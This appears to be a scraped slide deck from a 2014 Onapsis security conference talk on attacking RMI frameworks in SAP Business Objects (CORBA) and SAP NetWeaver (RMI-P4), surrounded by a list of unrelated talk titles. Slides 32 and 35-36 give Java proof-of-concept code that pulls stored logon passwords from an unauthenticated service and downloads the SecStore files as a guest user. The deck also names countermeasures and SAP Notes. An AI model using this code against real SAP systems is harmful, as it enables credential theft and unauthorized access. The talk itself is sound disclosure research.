Penetration Testing SAP SystemsPenetration Testing SAP Systems
Penetration Testing SAP Systems
 
Cyber-attacks to SAP Systems
Cyber-attacks to SAP SystemsCyber-attacks to SAP Systems
Cyber-attacks to SAP Systems
 
SAP Forensics Detecting White Collar Cyber-crime
SAP Forensics Detecting White Collar Cyber-crimeSAP Forensics Detecting White Collar Cyber-crime
SAP Forensics Detecting White Collar Cyber-crime
 
How Hackers can Open the Safe and Take the Jewels
How Hackers can Open the Safe and Take the JewelsHow Hackers can Open the Safe and Take the Jewels
How Hackers can Open the Safe and Take the Jewels
 

Recently uploaded

Connecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfConnecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfNeo4j
 
A Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersA Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersNicole Novielli
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsSergiu Bodiu
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc
 
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024BookNet Canada
 
Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...Farhan Tariq
 
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024BookNet Canada
 
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...Alkin Tezuysal
 
The State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxThe State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxLoriGlavin3
 
Long journey of Ruby standard library at RubyConf AU 2024
Long journey of Ruby standard library at RubyConf AU 2024Long journey of Ruby standard library at RubyConf AU 2024
Long journey of Ruby standard library at RubyConf AU 2024Hiroshi SHIBATA
 
Decarbonising Buildings: Making a net-zero built environment a reality
Decarbonising Buildings: Making a net-zero built environment a realityDecarbonising Buildings: Making a net-zero built environment a reality
Decarbonising Buildings: Making a net-zero built environment a realityIES VE
 
Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24
Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24
Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24Mark Goldstein
 
Generative Artificial Intelligence: How generative AI works.pdf
Generative Artificial Intelligence: How generative AI works.pdfGenerative Artificial Intelligence: How generative AI works.pdf
Generative Artificial Intelligence: How generative AI works.pdfIngrid Airi González
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .Alan Dix
 
Generative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersGenerative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersRaghuram Pandurangan
 
Enhancing User Experience - Exploring the Latest Features of Tallyman Axis Lo...
Enhancing User Experience - Exploring the Latest Features of Tallyman Axis Lo...Enhancing User Experience - Exploring the Latest Features of Tallyman Axis Lo...
Enhancing User Experience - Exploring the Latest Features of Tallyman Axis Lo...Scott Andery
 
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...Wes McKinney
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxLoriGlavin3
 
Emixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native developmentEmixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native developmentPim van der Noll
 
UiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to HeroUiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to HeroUiPathCommunity
 

Recently uploaded (20)

Connecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfConnecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdf
 
A Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersA Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software Developers
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platforms
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
 
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
 
Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...
 
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
 
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
 
The State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxThe State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptx
 
Long journey of Ruby standard library at RubyConf AU 2024
Long journey of Ruby standard library at RubyConf AU 2024Long journey of Ruby standard library at RubyConf AU 2024
Long journey of Ruby standard library at RubyConf AU 2024
 
Decarbonising Buildings: Making a net-zero built environment a reality
Decarbonising Buildings: Making a net-zero built environment a realityDecarbonising Buildings: Making a net-zero built environment a reality
Decarbonising Buildings: Making a net-zero built environment a reality
 
Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24
Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24
Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24
 
Generative Artificial Intelligence: How generative AI works.pdf
Generative Artificial Intelligence: How generative AI works.pdfGenerative Artificial Intelligence: How generative AI works.pdf
Generative Artificial Intelligence: How generative AI works.pdf
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .
 
Generative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersGenerative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information Developers
 
Enhancing User Experience - Exploring the Latest Features of Tallyman Axis Lo...
Enhancing User Experience - Exploring the Latest Features of Tallyman Axis Lo...Enhancing User Experience - Exploring the Latest Features of Tallyman Axis Lo...
Enhancing User Experience - Exploring the Latest Features of Tallyman Axis Lo...
 
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
 
Emixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native developmentEmixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native development
 
UiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to HeroUiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to Hero
 

Dissecting and Attacking RMI Frameworks

  • 1. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved 03/12/2014 1 Title goes hereNahuel D. Sánchez Sergio Abraham nsanchez@onapsis.com abraham@onapsis.com @serj_ab Dissecting and Attacking RMI Frameworks
  • 2. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved This presentation contains references to the products of SAP AG. SAP, R/3, xApps, xApp, SAP NetWeaver, Duet, PartnerEdge, ByDesign, SAP Business ByDesign, and other SAP products and services mentioned herein are trademarks or registered trademarks of SAP AG in Germany and in several other countries all over the world. Business Objects and the Business Objects logo, BusinessObjects, Crystal Reports, Crystal Decisions, Web Intelligence, Xcelsius and other Business Objects products and services mentioned herein are trademarks or registered trademarks of Business Objects in the United States and/or other countries. SAP AG is neither the author nor the publisher of this publication and is not responsible for its content, and SAP Group shall not be liable for errors or omissions with respect to the materials. Disclaimer
  • 3. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved Onapsis Inc. Overview Transforming how organizations protect the applications that manage their business-critical processes and information.  Founded: 2009  Locations: Buenos Aires, AR | Boston, MA | Berlin, DE | Lyon, FR  Technology: Onapsis X1 (Auditor Solution) Onapsis Security Platform (Enterprise Solution) (PCT patent-pending)  Pricing: Subscription-based (Enterprise, Audit On-Demand and MSP)  Research: 130+ SAP security advisories and presentations published
  • 4. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved Who are We?  Sergio: SAP Security Specialist  Nahuel: Security Researcher • Reported more than 25 vulnerabilities in different SAP Products • Onapsis Blog contributors • Authors of Onapsis SAP Security In-Depth Publications • Speakers/Trainers at Ekoparty, Hubcon, SANS
  • 5. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved  Introduction • What is RMI? • RMI Implementations • RMI vs Web Services  CORBA implementation • Basic concepts (IDL’s, IOR’s) • CORBA and SAP Business Objects • Attacks  P4 implementation • Basic Concepts • P4 and SAP NetWeaver  Conclusions Agenda
  • 6. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved  RMI stands for Remote Method Invocation  Conceptually similar to RPC (Remote Procedure Call)  Allows the invocation of clients running on remote machines Introduction | What is RMI?
  • 7. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved Introduction | What is RMI? Cont’d
  • 8. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved  Same Idea, different implementation  Both allow users to execute actions in the server  RMI • 15-20 years old • Complex (objects management, garbage collection) • Provide interfaces for legacy systems • Stateful • A more profitable attack target  Web Services • 15-20 years old • Stateless • Aware of RMI limitations/problems when developed RMI vs Web Services
  • 9. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved  Products using RMI-based protocols • Jboss Application Server (Java-RMI) • Oracle Weblogic Server (Weblogic-RMI) • IBM Lotus Domino (Java-RMI) • Apache Axis2 (CORBA)  In this talk • SAP Business Objects (CORBA) • SAP Netweaver Java (RMI-P4) Introduction | What is RMI? Cont’d
  • 10. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved So…What is SAP? SAP (Systems, Applications and Products in Data Processing) is a German company devoted to the development of business solutions.  Founded in 1972.  Almost 67,000 employees.*  More than 253,000 customers.*  Presence in most countries Third biggest independent software vendor (ISV). • http://www.sap.com/corporate-en/about/our-company/index.html • http://en.wikipedia.org/wiki/SAP_SE
  • 11. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved SAP Solutions  Enterprise Solutions  SAP CRM (Customer Relationship Management).  SAP ERP (Enterprise Resource Planning).  SAP SCM (Supply Chain Management).  SAP SRM (Supplier Relationship Management).  Business Solutions  SAP GRC (Government, Risk and Compliance).  SAP Portal  SAP Solution Manager  SAP Business Objects
  • 12. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved CORBA implementation  Common Object Request Broker Architecture  Connect different software components (local/remote)  Language agnostic  Object oriented  Provides “Objectization” to non-object languages like C or COBOL http://pubs.opengroup.org-onlinepubs-9279299-apdxa.htm
  • 13. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved Common Object Request Broker Architecture http://www.cs.wustl.edu/schmidt-corba-overview.html
  • 14. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved CORBA – Locating objects  CORBA Naming Service • Implemented as an “Object Service” • Provides a way to locate other objects  CorbaLoc & CorbaName URLs • Similar to “common” URLs corbaloc:: target:1234/MyObjectKey corbaname::target:1234/NameService#Hello/World
  • 15. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved CORBA – Locating objects IOR:010000003500000049444c3a696d672e73656167617465736f6674776172652e636f6d2f _IIOP_ParseCDR: byte order LittleEndian, repository id <IDL:img.seagatesoftware.com/ImplServ/OSCAFactory:3.1>, 1 profile _IIOP_ParseCDR: profile 1 is 70 bytes, tag 0 (INTERNET), LittleEndian byte order (iiop.c:parse_IIOP_Profile): bo=LittleEndian, version=1.1, hostname=BO4WV, port=1056, object_key=<....`hjR........> object key is <#00#00#00#00`hjR#88#C5#0C#00#02#00#00#00>; no trustworthy most-specific-type info; unrecognized ORB type; reachable with IIOP 1.1 at host "BO4WV", port 1056  Interoperable Object References (IOR) • Object key • IP Address • Listening port • Repository ID  Parsed IOR:
  • 16. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved CORBA – IDLs  Interface Definition Language (IDLs) • Define objects • Shared by the client and the server • Language specific compilation  Example IDL interface //fortune.idl Module Fortune { interface CookieServer { string get_cookie(); }; };
  • 17. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved CORBA & SAP Business Objects  Used to inter-process communications only  SAP doesn’t provide IDLs for objects  Options we have: • Reverse engineering IDLs from classes (PITA) Import JAVA Jar files and use it directly  Files required: • corbaidl.jar • ebus405.jar
  • 18. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved CORBA & SAP Business Objects  The BOE Central Management Server (CMS) • Platform’s brain • Keeps track of all enabled services/servers  Name server port • Port TCP 6400 (default) • Applications use this port for first contact  Request port • Dynamic port by default • Used by all applications after first request
  • 19. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved What we need to attack in a BO implementation?  CMS IP  CMS Static Port  CMS IOR  SRV’s IORs
  • 20. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved Obtaining the CMS IOR  Obtained through traffic analysis  Client sends string “aps” to CMS static port (6400)  CMS returns its IOR  Needed to further attacks
  • 21. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved DEMO #1
  • 22. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved DEMO #2
  • 23. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved RMI-P4  SAP proprietary protocol  Present in every SAP Netweaver Application Server Java  Combines features of Java RMI and CORBA  Listens on port: 5XX04, (5XX06 for SSL)  Can be tunneled through HTTP!!! P4HTTP (5XX05) Enables client-server communication: • Locating remote objects • Communication with remote objects • Loading classes remotely  Examples: • SAP Enterprise Portal • SAP Solution Manager https://help.sap.com/saphelp_nwce711/helpdata/en/48/295738a14558d8e10000000a421937/content.htm
  • 24. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved RMI-P4  Where is specifically RMI-P4 used? • Real example: JMX (Java Management Extensions) o Allows building manageable distributed Java Apps  start/stop/restart  changing configuration  backup/import settings/so on…  client-server architecture based on: RMI-P4 In fact... SAP Netweaver Application Server Java is based on a JMX Architecture http://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=73160
  • 25. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved RMI-P4  Basic implementation • Server-side: public interface HelloWorld extends java.rmi.Remote { public void hello(); } public class HelloWorldImpl implements HelloWorld { public void Hello() { System.out.println(“Hello World”); } } • Server and Client-side: RMI-P4 does not use IDLs (as CORBA). Interfaces are already known by the client since they are defined in both sides.
  • 26. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved RMI-P4  How to find and invoke a remote object? JNDI (Java Native Directory Interface)  Standard Java API  Allows applications to access multiple naming and directory services via a common interface  Two very interesting features:  Naming Service  Directory Service https://help.sap.com/saphelp_nwce711/helpdata/en/99/e8b84172133131e10000000a155106/content.htm
  • 27. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved Let’s mix the ingredients
  • 28. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved public class BankClient { Properties p = new Properties(); // Specify the type of the InitialContext factory. p.put(Context.INITIAL_CONTEXT_FACTORY, "com.sap.engine.services.jndi.InitialContextFactoryImpl"); p.put(Context.PROVIDER_URL, “p4://” args[0] + ":" + args[1]); //Specify the URL. p.put(Context.SECURITY_PRINCIPAL, args[2]); //Specify the user. p.put(Context.SECURITY_CREDENTIALS, args[3]);//Specify the password. Context initialContext = new InitialContext(p); // Connect to the server by the InitialContext. Account account = (Account) initialContext.lookup("Bank"); // Invoke methods remotely. account.deposit(100); System.out.println("Balance:" + account.getBalance()); System.out.println("Try to draw..."); account.draw(50); System.out.println("Balance:" + account.getBalance()); } catch (Exception ex) { ex.printStackTrace(); }} } RMI-P4
  • 29. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved RMI-P4 What happens if we do not specify this? The user is logged as GUEST and.. as every application defines its own security requirements… It only takes one missing authorization check in order to get full access! https://help.sap.com/saphelp_nw73ehp1/helpdata/en/e9/88435b5d84b24e8c62048ff36bd600/content.htm http://help.sap-ag.de/saphelp_nw73/helpdata/de/4a/eac9a0cd2823aee10000000a42189c/frameset.htm p.put(Context.SECURITY_PRINCIPAL, args[2]); //Specify the user. p.put(Context.SECURITY_CREDENTIALS, args[3]);//Specify the password.
  • 30. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved RMI-P4 Attack 1: Authentication Credentials Disclosure Example of application of this attack: System Landscape Directory • Central information repository • Consolidates all systems, hardware and software components • Allows administration of systems o Installation o Updates and patches o Interfaces • Mandatory in every SAP implementation http://help.sap.com/saphelp_nw70/helpdata/en/21/84570b3ae14e77b3047c82218974b9/content.htm
  • 31. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved DEMO Authentication Credentials disclosure
  • 32. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved Properties p = new Properties(); p.put(Context.INITIAL_CONTEXT_FACTORY, "com.sap.engine.services.jndi.InitialContextFactoryImpl"); p.put(Context.PROVIDER_URL, "p4://" + host + ":" + port); Context initialContext = new InitialContext(p); RFCRuntimeInterface_Stub o = (RFCRuntimeInterface_Stub)initialContext.lookup("rfcengine"); BundleConfiguration[] bc = o.getConfigurations(); for (int i = 0; i < bc.length; i++) { String data = bc[i].getLogonClient()+":”+bc[i].getLogonUser()+":"+bc[i].getLogonPassword(); System.out.println(data); Attack 1: Authentication Credentials Disclosure RMI-P4
  • 33. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved RMI-P4 Attack 2: Anonymous Remote File Read/Write Targeted service: File Transfer Service API • SAP Ready-to-Use Service • Allows upload/download of files to/from the AppServer • Most common use case: deploy of java applications • Main problem: Lack of authorization checks. o Consequence: Accessible by GUEST user! http://help.sap.com/saphelp_oil472/helpdata/en/48/1d813ecfd43546e10000000a114084/content.htm One more step… Get Secure Store: • Secure Store container (SecStore.properties) • Secure Store key (SecStore.key) • Decrypt! (3DES)
  • 34. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved DEMO Anonymous remote file read/write
  • 35. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved Properties p = new Properties(); p.put(Context.INITIAL_CONTEXT_FACTORY, "com.sap.engine.services.jndi.InitialContextFactoryImpl"); p.put(Context.PROVIDER_URL, "p4://" + host + ":" + port); Context initialContext = new InitialContext(p); FileTransfer_Stub o = (FileTransfer_Stub) initialContext.lookup("file"); String source = “C:tmpSecStore.properties” String dest = “/usr/sap/<SID>/SYS/global/security/data/SecStore.properties” com.sap.engine.services.file.RemoteFile f = o.createRemoteFile(source, dest); f.download(); RMI-P4 Attack 2: Anonymous Remote File Read/Write
  • 36. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved Properties p = new Properties(); p.put(Context.INITIAL_CONTEXT_FACTORY, "com.sap.engine.services.jndi.InitialContextFactoryImpl"); p.put(Context.PROVIDER_URL, "p4://" + host + ":" + port); Context initialContext = new InitialContext(p); FileTransfer_Stub o = (FileTransfer_Stub) initialContext.lookup("file"); String source = “C:tmpSecStore.properties” String dest = “/usr/sap/<SID>/SYS/global/security/data/SecStore.properties” com.sap.engine.services.file.RemoteFile f = o.createRemoteFile(source, dest); f.download(); RMI-P4 Attack 2: Anonymous Remote File Read/Write Protection / Countermeasure  Secure P4 service (5XX04, 5XX05, 5XX06)  Apply all SAP Security Notes. Keep the systems up-to-date.  Implement SAP Security Notes 1682613 and 1819822. Check the “References” slide for more information!
  • 37. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved  Bullet 1 • Bullet 2 o Bullet 3 Conclusions
  • 38. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved 38 Title goes hereNahuel D. Sánchez Sergio Abraham nsanchez@onapsis.com abraham@onapsis.com @serj_ab Questions?
  • 39. CONFIDENTIAL© 2014 Onapsis, Inc. All Rights Reserved 39 Title goes here Thank You careers@onapsis.com Blog.onapsis.com